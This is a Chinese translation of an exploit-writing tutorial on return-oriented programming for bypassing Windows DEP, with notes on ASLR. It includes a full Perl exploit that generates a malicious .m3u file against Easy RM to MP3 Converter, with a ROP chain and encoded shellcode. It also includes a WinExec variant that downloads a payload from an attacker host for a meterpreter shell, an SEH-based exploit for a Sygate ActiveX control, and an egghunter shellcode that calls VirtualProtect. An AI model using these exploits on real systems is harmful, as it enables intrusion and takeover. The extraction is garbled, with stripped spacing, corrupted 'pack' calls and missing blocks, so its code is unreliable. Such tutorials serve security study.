●0x73DF5CA8
将所有的东西放在一起,exploit脚本是这样的:
#------------------------------------------------------------
#ROPbasedexploitforEasyRMtoMP3Converter
#writtenbycorelanc0d3r-:8800
#------------------------------------------------------------
my$file="rop.m3u";
my$buffersize=26094;
my$junk="Z"x$buffersize;
my$eip=pack('V',0x100102DC);#returntostack
my$junk2="AAAA";#compensate
#------PutstackpointerinEDI&EAX------------------------#
my$rop=pack('V',0x5AD79277);#PUSHESP,POPEDI
$rop=$('V',0x77C1E842);#PUSHEDI,POPEAX
$rop=$rop."AAAA";#compensateforPOPEBP
#stackpointerisnowinEAX&EDI,nowjumpoverparameters
$rop=$('V',0x1001653D);#ADDESP,20
#-------ParametersforVirtualProtect()----------------------#
my$params=pack('V',0x7C801AD4);#VirtualProtect()
$params=$params."WWWW";#returnaddress(param1)
$params=$params."XXXX";#lpAddress(param2)
$params=$params."YYYY";#Size(param3)
$params=$params."ZZZZ";#flNewProtect(param4)
$params=$('V',0x10035005);#writeableaddress
$params=$params.("H"x8);#padding
#ADDESP,20+RETwilllandhere
#changeESIsoitpointstocorrectlocation
#towritefirstparameter(returnaddress)
my$rop2=pack('V',0x763C982F);#XCHGESI,EDI#DECECX#RETN4
#-----Makeeaxpointatshellcode--------------------------
$rop2=$('V',0x1002DC4C);#ADDEAX,100#POPEBP
$rop2=$rop2."AAAA";#padding-compensateforRETN4before
$rop2=$rop2."AAAA";#padding
#----------------------------------------------------------
#returnaddressisinEAX-writeparameter1
$rop2=$('V',0x77E84115);
$rop2=$rop2."AAAA";#padding
#EAXnowcontainsstackpointer
#saveitbacktoESIfirst
$rop2=$('V',0x775D131E);#PUSHEAX#POPESI#RETN
#-----Makeeaxpointatshellcode(again)--------------------------
$rop2=$('V',0x1002DC4C);#ADDEAX,100#POPEBP
$rop2=$rop2."AAAA";#padding
#increaseESIwith4
$rop2=$('V',0x77157D1D);#INCESI#RETN[Module:]
$rop2=$('V',0x77157D1D);#INCESI#RETN[Module:]
$rop2=$('V',0x77157D1D);#INCESI#RETN[Module:]
$rop2=$('V',0x77157D1D);#INCESI#RETN[Module:]
#andwritelpAddress(param2)
$rop2=$('V',0x77E84115);
$rop2=$rop2."AAAA";#padding
#saveEAXinESIagain
$rop2=$('V',0x775D131E);
#createsize-setEAXto300orso
$rop2=$('V',0x100307A9);
$rop2=$('V',0x1002DC4C);
$rop2=$rop2."AAAA";#padding
$rop2=$('V',0x1002DC4C);
$rop2=$rop2."AAAA";#padding
$rop2=$('V',0x1002DC4C);
$rop2=$rop2."AAAA";#padding
#writesize,firstsetESItorightplace
$rop2=$('V',0x77157D1D);
$rop2=$('V',0x77157D1D);
$rop2=$('V',0x77157D1D);
$rop2=$('V',0x77157D1D);
#write(param3)
$rop2=$('V',0x77E84115);
$rop2=$rop2."AAAA";#padding
#saveEAXinESIagain
$rop2=$('V',0x775D131E);
#flNewProtect0x40
$rop2=$('V',0x10010C77);
#PUSHEAX#POPESI#RETN
#XOREAX,EAX#RETN
#ADDEAX,100#POPEBP
#ADDEAX,100#POPEBP
#ADDEAX,100#POPEBP
#INCESI#RETN
#INCESI#RETN
#INCESI#RETN
#INCESI#RETN
[Module:]
[Module:]
[Module:]
[Module:]
#PUSHEAX#POPESI#RETN
#XOREAX,EAX
$rop2=$('V',0x1002DC41);
$rop2=$rop2."AAAA";#padding
$rop2=$('V',0x77157D1D);
$rop2=$('V',0x77157D1D);
$rop2=$('V',0x77157D1D);
$rop2=$('V',0x77157D1D);
#ADDEAX,40#POPEBP
#INCESI#RETN
#INCESI#RETN
#INCESI#RETN
#INCESI#RETN
[Module:]
[Module:]
[Module:]
[Module:]
#write(param4)
$rop2=$('V',0x77E84115);
$rop2=$rop2."AAAA";#padding
#ReturntoVirtualProtect()
#EAXpointsatVirtualProtectpointer(justbeforeparameters)
#compensateforthe2POPinstructions
$rop2=$('V',0x775D12F1);#SUBEAX,4#RET
$rop2=$('V',0x775D12F1);#SUBEAX,4#RET
#changeESP&flyback
$rop2=$('V',0x73DF5CA8);#[Module:]
#PUSHEAX#POPESP#MOVEAX,EDI#POPEDI#POPESI#RETN
#
my$nops="x90"x240;
#
#./msfpayloadwindows/messagebox
#TITLE=CORELANTEXT="roptestbycorelanc0d3r"R
#|./msfencode-ex86/alpha_mixed-tperl
my$shellcode=
"x89xe0xdaxcfxd9x70xf4x5ax4ax4ax4ax4ax4ax4a".
"x4ax4ax4ax4ax4ax43x43x43x43x43x43x37x52x59".
"x6ax41x58x50x30x41x30x41x6bx41x41x51x32x41".
"x42x32x42x42x30x42x42x41x42x58x50x38x41x42".
"x75x4ax49x48x59x48x6bx4fx6bx48x59x43x44x51".
"x34x4cx34x50x31x48x52x4fx42x42x5ax46x51x49".
"x59x45x34x4ex6bx51x61x44x70x4ex6bx43x46x46".
"x6cx4cx4bx42x56x45x4cx4cx4bx42x66x43x38x4c".
"x4bx51x6ex45x70x4ex6bx50x36x44x78x42x6fx45".
"x48x44x35x4cx33x50x59x43x31x4ax71x4bx4fx48".
"x61x43x50x4cx4bx50x6cx51x34x46x44x4ex6bx47".
"x35x45x6cx4cx4bx42x74x43x35x42x58x46x61x48".
"x6ax4ex6bx51x5ax45x48x4ex6bx42x7ax47x50x47".
"x71x48x6bx4ax43x45x67x42x69x4ex6bx47x44x4e".
"x6bx46x61x48x6ex46x51x49x6fx45x61x49x50x49".
"x6cx4ex4cx4dx54x49x50x50x74x45x5ax4bx71x48".
"x4fx44x4dx47x71x4bx77x48x69x48x71x49x6fx49".
"x6fx4bx4fx45x6bx43x4cx47x54x44x68x51x65x49".
"x4ex4ex6bx50x5ax45x74x46x61x48x6bx50x66x4e".
"x6bx46x6cx50x4bx4cx4bx51x4ax45x4cx45x51x4a".
"x4bx4ex6bx43x34x4cx4bx43x31x4ax48x4dx59x42".
"x64x51x34x47x6cx45x31x4fx33x4fx42x47x78x44".
"x69x49x44x4fx79x4ax45x4ex69x4ax62x43x58x4e".
"x6ex42x6ex44x4ex48x6cx43x62x4ax48x4dx4cx4b".
"x4fx4bx4fx49x6fx4dx59x42x65x43x34x4fx4bx51".
"x6ex48x58x48x62x43x43x4ex67x47x6cx45x74x43".
"x62x49x78x4ex6bx4bx4fx4bx4fx49x6fx4fx79x50".
"x45x45x58x42x48x50x6cx42x4cx51x30x4bx4fx51".
"x78x50x33x44x72x44x6ex51x74x50x68x42x55x50".
"x73x42x45x42x52x4fx78x43x6cx47x54x44x4ax4c".
"x49x4dx36x50x56x4bx4fx43x65x47x74x4cx49x48".
"x42x42x70x4fx4bx49x38x4cx62x50x4dx4dx6cx4e".
"x67x45x4cx44x64x51x42x49x78x51x4ex49x6fx4b".
"x4fx49x6fx42x48x42x6cx43x71x42x6ex50x58x50".
"x68x47x33x42x6fx50x52x43x75x45x61x4bx6bx4e".
"x68x51x4cx47x54x47x77x4dx59x4bx53x50x68x51".
"x48x47x50x51x30x51x30x42x48x50x30x51x74x50".
"x33x50x72x45x38x42x4cx45x31x50x6ex51x73x43".
"x58x50x63x50x6fx43x42x50x65x42x48x47x50x43".
"x52x43x49x51x30x51x78x43x44x42x45x51x63x50".
"x74x45x38x44x32x50x6fx42x50x51x30x46x51x48".
"x49x4cx48x42x6cx47x54x44x58x4dx59x4bx51x46".
"x51x48x52x51x42x46x33x50x51x43x62x49x6fx4e".
"x30x44x71x49x50x50x50x4bx4fx50x55x45x58x45".
"x5ax41x41";
my$rest="C"x300;
my$payload=$junk.$eip.$junk2.$rop.$params.$rop2.$nops.$shellcode.$rest;
print"Payloadsize:".length($payload)."n";
print"Shellcodesize:".length($shellcode)."n";
open($FILE,">$file");
print$FILE$payload;
close($FILE);
print"m3uFile$fileCreatedsuccessfullyn";
结果:
DirectRET--ROP版本2--NtSetInformationProcess()
让我们用相同的程序来测试下一种不同的ROP绕过技术:NtSetInformationProcess()
这个函数有5个参数:
返回地址
NtCurrentProcess()
ProcessExecuteFlags()
&ExecuteFlags
要产生的值,指向函数需要返回的地方(=你的shellcode在的位置)
静态值,设成0xFFFFFFFF
静态值,设成0x22
指向0x00000002,可能是你的exploit硬编码的静态地址,但是必须
是可写的
sizeOf(ExecuteFlags)静态值,设成0x4
exploitrop的布局将会和VirtualProtect()看起来一样:
●保存栈位置
●跳过占位符
●产生返回地址的值
○eax清零:XOREAX,EAX+RET:0x100307A9
○ADDEAX,40+RET:0x1002DC41+指向ADDEAX,-2的链直到它包含0x22(0x10027D2E)
○或者,用ADDAL,10(0x100308FD)两次然后INCEAX两次(0x1001152C)
●如果需要的话,为第三个参数产生值(指向0x2,可写地址)。提示:试着在Immunity
Debugger中运行“!pvefindaddrfind02000000rw”然后看你是否能找到一个静态/可写
的地址
●为第四个参数(0x4)产生值然后用“ESI+0x10”来将它写入栈上
○inceax4次:0x1001152C
好练习。
只要证明它能成功:
DirectRET--ROP版本3--SetProcessDEPPolicy()
另一种绕过DEP的方法是用SetProcessDEPPolicy(),关掉进程的DEP。
这个函数需要在栈上有两个参数:一个指向shellcode的指针(动态产生的),和0。
由于我们只有有限数量的参数,我会试着用一种不同的技术来将参数入栈...PUSHAD
一个pushad指令会将寄存器入栈。当寄存器入栈后,这是栈顶的情况:
●EDI
●ESI
●EBP
●指向这个块后面栈的值
●EBX
●EDX
●ECX
●EAX
这意味着,如果我们将nop/shellcode放在这个块的后面,那么我们可以利用我们将有一个
在栈上自动魔法般地指向我们的shellcode的值的事实。
接下来,pushad将返回到栈顶(可以用EDI操作的值)。因此给我们提供了使它成功的完美
路径。
为了将正确的参数放在正确的位置上,我们不得不用下面的值来精巧布置寄存器:
●EDI=指向RET的指针(滑到下一个指令:ropnop)
●ESI=指向RET的指针(滑到下一个指令:ropnop)
●EBP=指向SetProcessDEPPolicy()的指针
●EBX=指向0
●EDX,ECX和EAX都不要紧
在pushad之后,栈是这样的:
●RET(从EDI取出)
●RET(从ESI取出)
●SetProcessDEPPolicy()(从EBP中取出)
●指向shellcode的指针(通过pushad自动插入)
●0(从EBX取出)
●EDX(废物)
●ECX(废物)
●EAX(废物)
●nop
●shellcode
做这个的rop链是这样的:
(只要附加上nop+shellcode到这个rop链然后你就完工了)
结果:
DirectRET--ROP版本4--ret-to-libc:WinExec()
到目前为止,我已经解释了一些用特定Windows函数绕过DEP的方法。每一个例子中,技
术后面的真正挑战是找到一个可靠的精巧布置栈的ROP小配件然后调用函数。
我觉得注意一个典型的ret-to-libc-style方法(如用WinExec())是很重要的,这方法也可能
是一种有价值的技术。
然而将栈放在一起来成功调用WinExec()也需要一些ROP,它跟其他绕过DEP的技术不同,
因为我们不是执行自定义shellcode。因此我们不需要改变执行标志或者禁用DEP。我们只
要调用一个windows函数然后用一个指向一系列OS命令作为参数的指针。
/en-us/library/ms687393(VS.85).aspx
第一个参数是指向执行命令的指针,第二个参数指示window行为。一些例子:
●0=隐藏窗口
●1=正常显示
●10=默认显示
●11=强制最小化
为了使它能成功,你将需要加一个返回值到参数上(精确地说第一个参数)。这可能是任意
一个地址,但是需要在那里有点东西。因此,这是栈情况:
●返回地址
●指向命令的指针
●0x00000000(隐藏)
在XPSP3,WinExec在0x7C86250D
看下这个例子:
首先,0x00000000放入EBX(POP0xFFFFFFFF到ebx,然后INCEBX被调用),然后寄存器
通过一个pushad调用被设置(基本上我把返回地址放入EBP,WinExec()的指针放入ESI,
RET放入EDI)。
上面的命令只在XP机器上的防火墙服务停了才会成功。如果你的PC不是运行windows防火
墙,你不得不去掉“netstopSharedAccess”块。
$evilIP是你的攻击者机器,运行一个包含的ftp服务器,用下面的
Metasploit命令来创建:
(将所有的放在一行然后复制文件到FTP服务器的根目录下)
在攻击者机器上,设置一个Metasploitmutihandler监听者:
结果:
(正如你看到的,甚至一个简单的指向WinExec的指针会允许你绕过DEP(所有情况都成
功!)然后给你一个meterpretershell。
基于SEH--ROP版本--WriteProcessMemory()
为了示范基于SEH的exploit能转换为一个ROP版本,我将用一个最近发现的漏洞
:8800//forum/security-advisories/10-050-sygate-personal-firewall-
5-6-build-2808-activex/,Lincoln发现的,目标是在SygatePersonalFirewall5.6中的ActiveX
控件缓冲区溢出。我们能看到在公告中,中的SetRegString()函数受缓冲区溢出的
影响,会覆盖掉异常处理函数。
你可以在这里得到exploit的拷贝:/exploits/13834/
这个函数有5个参数。第三个参数是会产生缓冲区溢出的:
在IE6和IE7中,SEH记录在3348字节后被覆盖。(因此3348字节是对nseh,3352字节是
对seh)
在一个典型的(non-ROP)的exploit中,我们可能用一个短的向前跳转(xebx06x90x90)
来覆盖nseh然后用一个指向pop/pop/ret的指针来覆盖seh。正如早些时解释的,这个方法在
DEP启用时不会成功,因为我们在禁用/绕过DEP前不能执行代码。
无论如何,有一种简单的方法来克服这个问题。当异常处理函数(我们已经覆盖的)运行时
,我们只需要转回到栈中。
因此基本上,我们不需要关心nseh(4字节),因此我们将创建一个会在3352字节后覆盖
SEH处理函数小脚本。
我们感兴趣的是当SEH处理函数调用时,我们的缓冲区有多远。因此我们需要用一个无效
指针来覆盖SEH处理函数。在这种类型,只要看我们的缓冲区在哪里,任意一个指令都行,
因为我们只要看当我们跳转到那个指令时,我们的缓冲区有多远。
触发漏洞
我将放一个指向RET的指针到SEH处理函数中(我们将从取出一个:
0x0644110C),然后加上25000字节(来触发访问违例)。我们的exploit测试脚本目前看起
来是这样的:
保存html文件到C:驱动器并且在InternetExplorer中打开。附加ImmunityDebugger到
中。允许ActiveX组件运行(你可能不得不点击OK两次)然后让Immunity捕
捉异常。
当你观察SEH链时,你应该确保我们已经用指向RET的指针覆盖SEH处理函数:
如果你得到的SEH链视图跟上面的截屏(2个SEH记录)一样,按ShiftF9一次。那么当
你只看到一个SEH记录时,你因该看到同样的寄存器/栈视图。
在栈视图中滚下来直到你看到你的覆盖过的SEH处理函数:
在0x0644110C处设断然后忽略程序的异常(按ShiftF9)。寄存器现在包含这个:
并且栈顶是这样的:
滚下来直到你看到你的缓冲区的第一部分(A):
绕栈旋转
因此,我们发现我们的缓冲区在ESP后面(01A6E34C+1032字节)。这意味着,如果我们想
从SEH处理函数返回到我们的缓冲区中,我们不得不用至少1032字节(0x408或者更多)
来旋转回栈中。我的好朋友Lincoln产生他的rop文件并在中的0x06471613处找
到一个指向ADDESP,46C+RET的指针。
这意味着,如果我们用一个指向ADDESP,46C+RET的指针覆盖掉我们的SEH创建处理
函数,那么会使它回到我们控制的缓冲区并开始我们的rop链。
修改脚本并且用下面的替换“seh=...”这行
在InternetExplorer中打开文件(ImmunityDebugger附加进去),然后让ActiveX组件运行。
当崩溃发生时,观察SEH链并且核查它是否被正确的指针覆盖掉。
在0x06471613处设置断点。忽略程序的异常(如果需要的话两次),直到碰到断点。
在这时,ESP指向01A5E330
然后按F7单步执行指令。当“ADDESP,46C”指令被执行时,检查ESP(和栈顶的内容):
可怕,这意味着我们要绕栈旋转然后返回到一个我们能初始化rop链的位置。
从这里往前,这个exploit可以像其它的基于rop的exploit一样打造:
●设置你的策略(这个例子中是WriteProcessMemory(),但是你明显也可以用另一个技术)
●得到你的rop小配件(!Pvefindaddrrop)
●打造链
但是首先,你将需要明白我们要在一连串的A的哪里登录,我们才能在正确的地方开始rop
链。
你将注意到,当你试着定位偏移量时(IE6,IE7),偏移量可能会变。它可能在72字节到
100字节之间变动(最多100字节)
这意味着我们不能100%确认我们将在缓冲区中登录。
我们怎么解决?我们知道nop的思想,当跳到shellcode时允许弹簧垫有点远。但是有没有
一个似兼容rop的nop的东西?
ROPNOP
当然有。记得“directRETexploit版本3”?我们已经用滑梯来走到栈上的下一个地址。
为了能是exploit通用(在单独的一个exploit中没有创建许多的rop链),你可以简单地
用ROPNOP来spray一些区域(代表指向RET的指针)。每次RET被调用时,在没有做一个
坏事的情况下,它会滑到/跳到下一个ret。
因此它很像一个nop。
一个指针是由4字节组成的,因此对齐这些指针很重要。确保当EIP返回到栈上
时,它会登录在指针上(而不是登录在指针的中间,破坏了链),或者会直接登录在你的rop
链的第一个小配件。
找ropnop不难。任意一个指向RET的指针都行。
返回到我们的exploit中。
打造ROP链--WriteProcessMemory()
为一个给定的函数精巧布置栈有很多种方法。我将简单地解释Lincoln是怎样打造他的rop
链并且将bug变成一个成功的DEP绕过exploit。
重要注意:我们要处理坏字节:在80和9f之间的字节要避免。
在他的exploit中,Lincoln决定用PUSHAD来将参数在正确的地方入栈,然后调用函数(这
个例子中是WriteProcessMemory())。
首先,为了确保rop链被执行,虽然我们登录在ADDESP,46C指令后的位置不一样,他用
很多RET指针(0x06471619)作为nop:
然后他将0x064BC001放入ebp(在0x0644B633处用一个popebp+ret小配件),然后用一连
串pop指令(在0x0647B965)来将5个“参数”放入寄存器中:
在这5个POP执行后,寄存器是这样的:
接下来,他将产生shellcode的长度。他用3个ADDEAX,80指令然后再在EBX上加上
EAX的值。
结果:
因此shellcode的长度现在放入ebx中。
我们用来完成这个的rop小配件是POPEAX(从栈中取出0xCCD0731F),然后做SUBEAX,
EAX。最后,这个值放入EBP。
注意:Lincoln没有将7C9022CF放入EBP的原因是那个特殊的地址包含一个“坏
字节”。我们不能用字节0x80。ECX已经包含50505050,因此他用一个sub指令(eax中有
个重新计算的值)来重新产生那个指针。聪明的想法!
这个rop子链已经将7C9022CF放入EBP中。这个地址将是写入我们的shellcode的目标位
置。基本上,我们将补丁WriteProcessMemory()函数自身,如果你认真地读了关于
WriteProcessMemory()这节的话,因这个地址看起来很熟悉。
最后的小配件没有用一个RET来结尾。它做一个callESI操作。
ESI怎么来的?记得我们早些时候做的5个POP?好的,我们简单地放一个从ESI弹出的值
到栈上。然后那个值是下面指令的指针:
因此CALLESI将会跳到那个位置,ESP增加4字节,将一个值(06454ED5)放入EAX中
然后返回。我们简单地返回到栈上,我们的下一个rop小配件在的位置:
用这个小配件,ESI被设成FFFFFFFF。这会是后面用作hProcess参数的值。
接下来,CCD07263被弹入eax,之后,一个SUBEAX,ECX指令被执行。
执行这些指令之后,EAX中的结果会是7C802213(是rocessMemory的指针)
最后,一个PUSHAD指令被执行:
这会使栈顶看起来是这样的:
当pushad函数返回时,它会执行在0x0647BD7C处的指令(源于EDI,放入早些用5个POP
操作的寄存器中)
这个指令将只是做一个CALLEAX。在EAX中,我们依然有一个指向
rocessMemory()的指针。当CALLEAX被调用时,下面的参数会从栈中取出:
第一个参数无关紧要。代码会补丁WPM(),因此它不会返回。然后,可以找到hProcess参
数(FFFFFFFF)和Address(目的地,写入shellcode的地方),紧接着Buffer(shellcode的
位置。这个指针从ESP中取出。由于PUSHAD会移动ESP(并且由于我们已经将我们的
shellcode直接放在rop链之后),这个指针现在指向shellcode。
BytesToWrite值是早些时候产生的。最后,最后一个参数指向一个可写的位置。
首先,dump出0x78022CF处的内容:
按F7单步执行。在eVirtualMemory调用之后(在7C8022C9),在RETN14指
令执行之前,我们可以看到我们的shellcode被复制到7C8022CF:
当RETN14指令执行时,我们登录在7C8022CF,就是WriteProcessMemory()指令流的下一
条指令。
由于这个位置现在包含shellcode,shellcode会被执行。
结果:
结论:在这个ROPexploit中,一个不同的将参数入栈的技术被用到。参数首先被产生(用
ADD和SUB指令)然后弹出到寄存器中,最终,一个PUSHAD指令将指令放入正确的位
置,然后API就被调用。
Egghunters
在教程8中,我已经讨论了egghunters的内部机理。总结了egghunter的思想,你将会执
行小数量的代码,它会寻找真正的shellcode(在栈上或堆里)然后执行。
你应该已经知道了怎样使一个egghunter运行,用rop。一个egghunter只是一些小的
shellcode,因此你应该应用一个rop序列来使egghunter运行。
当egghunter已经找到shellcode,它会跳到shellcode的基地址。当然,当DEP启用时,
这很可能不会成功。
这意味着我们需要插入另一个rop链来确保我们能使shellcode标记为可执行。
有两种方法:
●附加一个rop例程到egghunter自身
●用一个rop例程预先考虑最后的shellcode
让我们看下这两种方案是怎样用一个常用的egghunter实现的(用
NtAccessCheckAndAuditAlarm):
同时,我假设你已经知道了怎样用rop来使egghunter运行。
正如你能看到的,在egghunter的末尾(当shellcode被找到时),shellcode的地址会存
入edi。egghunter的最后一条指令会跳到edi然后尝试执行shellcode。当DEP启用时,
跳转会被执行,但是shellcode的执行会失败。
我们怎么修理这个?
方案1:给egghunter打补丁
在第一个方案,我会修改egghunter来确保shellcode在的位置被首先标记为可执行。
“jmpedi”指令需要去掉。
接下来,我们要将shellcode在的内存位置改为可执行。我们可以调用VirtualProtect()
来实现。幸运地,我们这次不要用ROP,我们只要把代码写到asm中然后将它附加到egg
hunter中。它会执行得很好(因为当前的位置是可执行)
需要写入的额外代码要精巧布置下面的值在栈上:
●返回地址:在edi中的地址--指向shellcode。这会确保shellcode在VirtualProtect()
函数调用完自动执行。
●lpAddress:和“返回地址”一样的地址
●size:shellcode的大小
●flNewProtect:设成0x40
●lpflOldProtect:指向可写位置
最后它需要调用VirtualProtect()函数(确保第一个参数在栈顶),就这样:
asm样本代码:
或者,用机器码:
因此,基本上,整个egghunter是这样的:
这是小的,但不是一个真正通用的egghunter。
因此我们要使它更可移植性(和更大)。如果大小不重要的话,那么这是一种使它成功的通
用方法:
(只要在asm代码中编辑“shellcode_size”和“writeable_address”来匹配你的特殊
exploit,然后你可以用它了)
;----------------------------------------
;quickanddirtyasm
;tolocateVirtualProtect
;useittomakeshellcodeatedi
;executable,andjumptoit
;
;PeterVanEeckhoutte'corelanc0d3r
;:8800
;----------------------------------------
;modifythesevalues
;tomatchyourenvironment
shellcode_sizeequ0x100
writeable_addressequ0x10035005
hash_virtualprotectequ0x7946C61B
;
;
[BITS32]
global_start
_start:
FLDPI
FSTENV[ESP-0xC]
popeax
pushedi;saveshellcodelocation
pusheax;currentlocation
xoredx,edx
movdl,0x7D;offsettostart_main
;skylinedtechnique
XORECX,ECX;ECX=0
MOVESI,[FS:ECX+0x30];ESI=&(PEB)([FS:0x30])
MOVESI,[ESI+0x0C];ESI=PEB->Ldr
MOVESI,[ESI+0x1C];ESI=PEB->Order
next_module:
MOVEAX,[ESI+0x08];EBP=InInitOrder[X].base_address
MOVEDI,[ESI+0x20];EBP=InInitOrder[X].module_name(unicode)
MOVESI,[ESI];ESI=InInitOrder[X].flink(nextmodule)
CMP[EDI+12*2],CL;modulename[12]==0?
JNEnext_module;No:trynextmodule.
;jmpstart_main
popecx
addecx,edx
jmpecx
;replacethiswithrelativejumpforward
;jmpstart_main
;=======Function:Findfunctionbaseaddress============
find_function:
pushad;saveallregisters
movebp,[esp+0x24];putbaseaddressofmodulethatisbeing
;loadedinebp
moveax,[ebp+0x3c];skipoverMSDOSheader
movedx,[ebp+eax+0x78];gotoexporttableandputrelativeaddress
;inedx
addedx,ebp;addbaseaddresstoit.
;edx=absoluteaddressofexporttable
movecx,[edx+0x18];setupcounterECX
;(howmanyexporteditemsareinarray?)
movebx,[edx+0x20];putnamestablerelativeoffsetinebx
addebx,ebp;addbaseaddresstoit.
;ebx=absoluteaddressofnamestable
find_function_loop:
jecxzfind_function_finished
dececx
movesi,[ebx+ecx*
addesi,ebp
;ifecx=0,thenlastsymbolhasbeenchecked.
;(shouldneverhappen)
;unlessfunctioncouldnotbefound
;ecx=ecx-1
4];getrelativeoffsetofthenameassociated
;withthecurrentsymbol
;andstoreoffsetinesi
;addbaseaddress.
;esi=absoluteaddressofcurrentsymbol
compute_hash:
xoredi,edi
xoreax,eax
cld
;zerooutedi
;zeroouteax
;cleardirectionflag.
;willmakesurethatitincrementsinsteadof
;decrementswhenusinglods*
compute_hash_again:
lodsb
testal,al
;loadbytesatesi(currentsymbolname)
;intoal,+incrementesi
;bitwisetest:
;seeifendofstringhasbeenreached
jzcompute_hash_finished
roredi,0xd
addedi,eax
jmpcompute_hash_again
compute_hash_finished:
find_function_compare:
cmpedi,[esp+0x28]
;ifzeroflagisset=endofstringreached
;ifzeroflagisnotset,rotatecurrent
;valueofhash13bitstotheright
;addcurrentcharacterofsymbolname
;tohashaccumulator
;continueloop
;seeifcomputedhashmatchesrequestedhash
;(atesp+0x28)
;edi=currentcomputedhash
;esi=currentfunctionname(string)
jnzfind_function_loop;nomatch,gotonextsymbol
movebx,[edx+0x24];ifmatch:extractordinalstable
;relativeoffsetandputinebx
addebx,ebp;addbaseaddress.
;ebx=absoluteaddressofordinalsaddresstable
movcx,[ebx+2*ecx];getcurrentsymbolordinalnumber(2bytes)
movebx,[edx+0x1c];getaddresstablerelativeandputinebx
addebx,ebp;addbaseaddress.
;ebx=absoluteaddressofaddresstable
moveax,[ebx+4*ecx];getrelativefunctionoffsetfromitsordinal
;andputineax
addeax,ebp;addbaseaddress.
;eax=absoluteaddressoffunctionaddress
mov[esp+0x1c],eax;overwritestackcopyofeaxsopopad
;willreturnfunctionaddressineax
find_function_finished:
popad;retrieveoriginalregisters.
;eaxwillcontainfunctionaddress
Ret
;-----------MAIN-------------
start_main:
movdl,0x04
subesp,edx;allocatespaceonstack
movebp,esp;setebpasframeptrforrelativeoffset
movedx,eax;savebaseaddressofkernel32inedx
;findVirtualProtect
pushhash_virtualprotect
pushedx
callfind_function
;VirtualProtectisineaxnow
;getshellcodelocationback
popedi
popedi
popedi
popedi
pushwriteable_address;param5:writableaddress
;generate0x40(para4)
xorebx,ebx
addbl,0x40
pushebx;param4:flNewProtect
;shellcodelength
addebx,0x7FFFFFBF;tocompensatefor40alreadyinebx
subebx,0x7FFFFFFF-shellcode_size
pushebx;param3:size:0x300bytesinthiscase
pushedi;param2:lpAddress
pushedi;param1:returnaddress
pusheax;VirtualProtect
ret
和egghunter结合,代码是这样的:
#-------------------------------------------------------------------
#corelanc0d3r-egghunterwhichwillmarkshellcodelocexecutable
#andthenjumpstoit
#WorksonallOSes(32bit)(dynamicVirtualProtect()lookup
#non-optimized-canbemadealotsmaller!
#
#Currenthardcodedvalues:
#-shellcodesize:300bytes
#-writeableaddress:0x10035005
#-------------------------------------------------------------------
my$egghunter=
"x66x81xCAxFFx0Fx42x52x6Ax02".
"x58xCDx2Ex3Cx05x5Ax74xEFxB8".
"x77x30x30x74".#w00t
"x8BxFAxAFx75xEAxAFx75xE7xFF".
#risatedi
#dynamiccalltoVirtualProtect&jumptoshellcode
"xd9xebx9bxd9x74x24xf4x58".
"x57x50x31xd2xb2x7dx31xc9".
"x64x8bx71x30x8bx76x0cx8b".
"x76x1cx8bx46x08x8bx7ex20".
"x8bx36x38x4fx18x75xf3x59".
"x01xd1xffxe1x60x8bx6cx24".
"x24x8bx45x3cx8bx54x05x78".
"x01xeax8bx4ax18x8bx5ax20".
"x01xebxe3x37x49x8bx34x8b".
"x01xeex31xffx31xc0xfcxac".
"x84xc0x74x0axc1xcfx0dx01".
"xc7xe9xf1xffxffxffx3bx7c".
"x24x28x75xdex8bx5ax24x01".
"xebx66x8bx0cx4bx8bx5ax1c".
"x01xebx8bx04x8bx01xe8x89".
"x44x24x1cx61xc3xb2x04x29".
"xd4x89xe5x89xc2x68x1bxc6".
"x46x79x52xe8x9cxffxffxff".
"x5fx5fx5fx5fx68x05x50x03".
"x10x31xdbx80xc3x40x53x81".
"xc3xbfxffxffx7fx81xebxff".
"xfexffx7fx53x57x57x50xc3";
200字节对一个egghunter来说有点大,它可以最优化一点(对你来说是好练习)。另一方面,
200字节将会很好地适合WPM(),因此你有很多选择来使它成功。
方案
2
:预先考虑
shellcode
如果你没有足够的空间来容纳28(或者通用版的200字节),那么你可以这样做:
取出“jmpedi”指令,然后用“pushedi”,“ret”(x57xc3)代替。
那么,在shellcode中,在标签(w00tw00t)和shellcode自身之间,你将不得不介绍一个能
使当前页可执行然后运行它的rop链。
如果到目前为止你理解这个教程,你应该知道怎么实现。
Unicode
倘使你的缓冲区从属于unicode?好的,答案很简单:你需要找到指向rop小配件的兼容
unicode的指针。
“pvefindaddrrop”将会指示一个指针是否是兼容确保不要对函数用“nonull”关
键字或者不用任何unicode地址。很明白unicode会减少一个exploit的成功机会(因为可用
的指针数量是有限的)
除了这个,你需要找指向你要用的windowsAPI的指针来绕过DEP。
祝你好运!
ASLR和DEP?
原理
同时绕过DEP和ASLR需要至少加载一个non-ASLR的模块。(好的,这不完全正确,但是
在大多数情况下,这个陈述是有效的)
如果你有一个没有启用ASLR的模块,那么你可以试着基于那个模块的指针来打造rop链。
当然,如果你的rop链用一个OS函数来绕过DEP,你需要有一个指向那个模块调用的指针。
AlexeySintsov在他的ProSSHD1.2exploit/exploits/12495/中展示了
这种技术。
或者,你需要找到一个指向OS模块的指针,在栈上的,在一个寄存器中的,等等...如果它
发生了,你可以用non-aslr模块的rop小配件来盗取那个值并用一个到那个值的偏移量来得
到OS函数的地址。
坏消息是,如果没有一个不从属于ASLR的模块,那么不可能打造一个可靠的exploit。(你
依然可以试下暴力等等...或者在栈上某处找内存漏洞/指针)。好消息是,“pvefindaddrrop”
会自动搜索non-ASLR模块。因此如果!pvefindaddrrop显示一些输出,那么这个地址很可能
是可靠的。
在pvefindaddrv1.34和更高的版本,有一个功能叫做“ropcall”,会搜索和列出在加
载模块中所有的绕过DEP的函数调用。这个对找一个供选择的(或者ASLR绕过)的函数
调用有帮助。
例子:(在EasyRMtoMP3Converter,模块)
如果你能用一个non-ASLR模块的指令,并且你有一个指向一个ASLR模块(如OSdll)的
指针,在栈上(或者内存中),那么你可以利用那个,并且用一个到那个指针的偏移量来找
启用ASLR模块中其他可用的指令。那个模块的基地址可能会变,但是到一个特定函数的
偏移量应该保持一致。
你可以在这里/找
到一个很好的绕过ASLR和DEP的exploit文章,没有用一个non-ASLR模块。
一个例子
下面的例子,mr_me写的,我将会介绍一种可行的技术,用一个non-ASLR模块中的rop小
配件来从栈上拿到一个OSdll指针,并且用一个那个指针的偏移量来计算VirtualProtect的
地址。
如果我们能在栈上找到一个指向的指针,那么我们可以修改值(加或减一个偏
移量)直到我们到达VirtualProtect()的相对地址。
测试环境:VistaBusinessSP2,English(虚拟机)
